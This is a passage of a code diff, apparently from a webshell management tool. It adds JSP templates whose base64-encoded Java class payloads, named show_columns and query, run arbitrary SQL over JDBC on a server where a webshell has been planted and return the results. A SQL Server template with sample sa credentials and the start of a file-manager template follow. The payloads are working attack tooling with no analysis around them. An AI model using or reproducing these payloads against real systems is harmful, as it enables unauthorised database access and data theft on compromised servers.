1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhOwEADmdldENvbHVtbkNvdW50AQANZ2V0Q29sdW1uTmFtZQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEABG5leHQBAAMoKVoBAAlnZXRTdHJpbmcAIQBMAE0AAAACAAEATgBPAAAAAQBQAE8AAAAGAAEAUQBSAAEAUwAAAB0AAQABAAAABSq3AAGxAAAAAQBUAAAABgABAAAABwABAFUAVgABAFMAAAI0AAUACgAAAUMrwAACTSy2AANOLLYABDoEKi0SBbkABgIAxgAOLRIFuQAGAgCnAAUSB7UACCotEgm5AAYCAMYADi0SCbkABgIApwAFEgq1AAu7AAxZEge3AA06BbsADFkSB7cADToGGQQSDrkADwIALSq0AAu5ABACABkEKrQAC7kAEQIAKiq7ABJZtwATLRIUuQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoHKiq7ABJZtwATLRIZuQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoIKiq7ABJZtwATLRIauQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoJGQUSG7YAHFcZBioZBxkIGQm2AB22ABxXGQUZBrYAHrYAHFcZBRIftgAcVyy2ACAZBbYAHrYAIacAIjoHGQa7ABJZtwATEiO2ABUZB7YAJLYAFbYAFrYAHFcErAABAF4BHwEiACIAAgBUAAAAWgAWAAAADAAFAA0ACgAOABAADwAsABAASAARAFMAEgBeABQAZwAVAHEAFgB8ABcAoAAYAMQAGQDoABoA8AAbAQAAHAELAB0BEwAeAR8AIQEiAB8BJAAgAUEAIgBXAAAAdwAG/wAnAAUHAFgHAFkHAFoHAFsHAFwAAQcAXf8AAQAFBwBYBwBZBwBaBwBbBwBcAAIHAF0HAF5ZBwBd/wABAAUHAFgHAFkHAFoHAFsHAFwAAgcAXQcAXv8A3AAHBwBYBwBZBwBaBwBbBwBcBwBfBwBfAAEHAGAeAAAAYQBiAAIAUwAAAEMABAACAAAAHiq0AAgSJbYAJpkABSuwuwAnWSu2ACgqtAALtwApsAAAAAIAVAAAAAoAAgAAACUADgAmAFcAAAADAAEOAGMAAAAEAAEAIgAAAGQAYgACAFMAAAFNAAYABgAAAMkqtAAIEiW2ACaZAJcrEiqlAAwrEiq2ACaZAAYSB7ASK00rtgAsTLsALVkrtgAuBWy3AC9OEgc6BAM2BRUFK7YALqIAWLsAElm3ABMZBLYAFSwrFQW2ADC2ADEHeCwrFQUEYLYAMLYAMYC2ADISM7YAFbYAFjoELSwrFQW2ADC2ADEHeCwrFQUEYLYAMLYAMYC2ADSEBQKn/6UtEgq2ADWwKrQACBI2tgAmmQAeAU27ADdZtwA4Ti0rtgA5TbsAJ1ksEgq3ACmwK7AAAAACAFQAAABKABIAAAApAAwAKgAbACsAHgAtACEALgAmAC8ANAAwADgAMQBEADIAdgAzAJMAMQCZADUAoAA2AKwANwCuADgAtgA5ALwAOgDHADwAVwAAACIABhsC/wAcAAYHAFgHAF4HAF4HAGUHAF4BAAD6AF34AAYmAGMAAAAEAAEAIgAAAGYAZwACAFMAAAG/AAQAEAAAAQ8SBzoHKiy2ABhNLLYAOhI7Ejy2AD0SPLYAPjoIGQgDMrYAOrgAP1cZCAQyOgkZCRkIBTIZCAYyuABAOgoZCrkAQQEAOgsZCy25AEICADoMGQy5AEMBADoNFQaZAFQENg4VDhkNuQBEAQCjAC8ZDRUOuQBFAgA6D7sAElm3ABMZB7YAFRkPtgAVGQS2ABW2ABY6B4QOAaf/y7sAElm3ABMZB7YAFRkFtgAVtgAWOgcZDLkARgEAmQBXBDYOFQ4ZDbkARAEAowAvGQwVDrkARwIAOg+7ABJZtwATGQe2ABUZD7YAFRkEtgAVtgAWOgeEDgGn/8u7ABJZtwATGQe2ABUZBbYAFbYAFjoHp/+lGQewAAAAAgBUAAAAWgAWAAAAQAAEAEEACgBCABwAQwAnAEQALQBFADwARgBFAEcATwBIAFgASgBdAEsAbABMAHcATQCSAEsAmABPAK4AUgC4AFMAxwBUANIAVQDtAFMA8wBXAQwAWQBXAAAAPgAG/wBgAA8HAFgHAF4HAF4HAF4HAF4HAF4BBwBeBwBoBwBeBwBpBwBqBwBrBwBsAQAA+gA3FfwADAH6ADcYAGMAAAAEAAEAIgAAAG0AbgACAFMAAABUAAcABwAAADC7ABJZtwATEki2ABUttgAVEkm2ABW2ABY6BBJKOgUSBzoGKissGQQZBRkGA7YAS7AAAAABAFQAAAASAAQAAABcABoAXQAeAF4AIgBfAGMAAAAEAAEAIgABAG8AAAACAHA='
,
'var0'
:
'#{encode}'
,
'var1'
:
'#{conn}'
,
'var2'
:
'#{db}'
},
show_columns
:
{
_
:
'yv66vgAAADIBAgoATwBzBwB0CgACAHUKAAIAdggAUAsAdwB4CAB5CQBOAHoIAHsIAHwJAE4AfQcAfgoADAB/CACACwCBAIILAHcAgwsAgQCDBwCECgASAHMIAIUKABIAhgoAEgCHCgBOAIgKAE4AiQgAiggAiwgAjAgAjQoADACOCgBOAI8KAAwAhwgAkAoAAgCRCgCSAJMHAJQIAJUKACMAhwgAlgoAKACXBwCYCgAoAJkKACgAmggAmwgAnAoAKACdBwCeCgAoAJ8KAC4AoAoAKAChCgAoAKIKABIAowgApAoALgClCgAuAKYIAKcHAKgKADgAcwoAOACpCgAoAKoIAKsIAKwKACgArQoAKACuCgCvALAKALEAsgsAswC0CwC1ALYLALcAuAsAuQC6CwC5ALsLALcAvAsAtwC9CAC+CAC/CADACADBCgBOAMIHAG8HAMMBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbwcAwwcAdAcAxAcAxQcAbwcAmAcAfgcAlAEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCeAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAxgcAxwcAyAcAyQcAygEAC3Nob3dDb2x1bW5zAQBcKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAQc2hvd0NvbHVtbnMuamF2YQwAUwBUAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMsAzAwAzQDOBwDEDADPAGQBAAAMAFAAUQEAB2NoYXJzZXQBAAVVVEYtOAwAUgBRAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAUwDQAQAJdGV4dC9odG1sBwDFDADRANAMANIA0AEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwA0wDUDADVANYMAGYAZAwAYwBkAQAEdmFyMQEABHZhcjIBAAR2YXIzAQADLT58DADTANcMAG8AcAEAA3w8LQwA2ADZBwDaDADbANABABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABXAFgBABBqYXZhL2xhbmcvU3RyaW5nDADcAN0MAFMA3gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADfANYBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA4ADhDABTAOIMAOMA5AwA5QDmDADTAOcBAAEsDADoAOIMANUAZAEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOkA6gwA6wDWAQACDQoBAAEKDADsAO0MAO4A7wcA8AwA8QDyBwDzDAD0APUHAMcMAPYA9wcAyAwA+AD5BwDJDAD6APsHAMoMAPwA4QwA/QD+DAD/AQAMAQEA/gEAAQkBAA5zZWxlY3QgKiBmcm9tIAEAAS4BAA8gV0hFUkUgUk9XTlVNPTAMAGgAaQEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1l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'
,
'var0'
:
'#{encode}'
,
'var1'
:
'#{conn}'
,
'var2'
:
'#{db}'
,
'var3'
:
'#{table}'
},
query
:
{
_
:
'yv66vgAAADIA+goASwBvBwBwCgACAHEKAAIAcggATAsAcwB0CAB1CQBKAHYIAHcIAHgJAEoAeQcAegoADAB7CAB8CwB9AH4LAHMAfwsAfQB/BwCACgASAG8IAIEKABIAggoAEgCDCgBKAIQKAEoAhQgAhggAhwgAiAoADACJCgBKAIoKAAwAgwgAiwoAAgCMCgCNAI4HAI8IAJAKACIAgwgAkQoAJwCSBwCTCgAnAJQKACcAlQgAlggAlwoAJwCYBwCZCgAnAJoKAC0AmwoAJwCcCgAnAJ0KABIAnggAnwoALQCgCgAtAKEIAKIHAKMKADcAbwoANwCkCgAnAKUIAKYIAKcKACcAqAoAJwCpCgCqAKsKAKwArQsArgCvCwCwALELALIAswsAtAC1CwC0ALYLALIAtwsAsgC4CAC5CgBKALoHAGsHALsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAawcAuwcAcAcAvAcAvQcAawcAkwcAegcAjwEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCZAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAvgcAvwcAwAcAwQcAwgEABXF1ZXJ5AQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAKcXVlcnkuamF2YQwATwBQAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMMAxAwAxQDGBwC8DADHAGABAAAMAEwATQEAB2NoYXJzZXQBAAVVVEYtOAwATgBNAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATwDIAQAJdGV4dC9odG1sBwC9DADJAMgMAMoAyAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwAywDMDADNAM4MAGIAYAwAXwBgAQAEdmFyMQEABHZhcjIBAAMtPnwMAMsAzwwAawBsAQADfDwtDADQANEHANIMANMAyAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFMAVAEAEGphdmEvbGFuZy9TdHJpbmcMANQA1QwATwDWAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANcAzgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADYANkMAE8A2gwA2wDcDADdAN4MAMsA3wEAASwMAOAA2gwAzQBgAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4QDiDADjAM4BAAINCgEAAQoMAOQA5QwA5gDnBwDoDADpAOoHAOsMAOwA7QcAvwwA7gDvBwDADADwAPEHAMEMAPIA8wcAwgwA9ADZDAD1APYMAPcA+AwA+QD2AQADCXwJDABkAGUBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BAE0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAARuZXh0AQADKClaAQAJZ2V0U3Ry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'
,
'var0'
:
'#{encode}'
,
'var1'
:
'#{conn}'
,
'var2'
:
'#{sql}'
}
})
\ No newline at end of file
source/core/jsp/template/database/sqlserver.js
0 → 100644
View file @
92bf8721
/*
<T>XDB</T>
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
</X>
*/
module
.
exports
=
require
(
'./default'
);
\ No newline at end of file
source/core/jsp/template/filemanager.js
0 → 100644
View file @
92bf8721
//
// 文件管理模板
//
module
.
exports
=
()
=>
({
dir
:
{
_
:
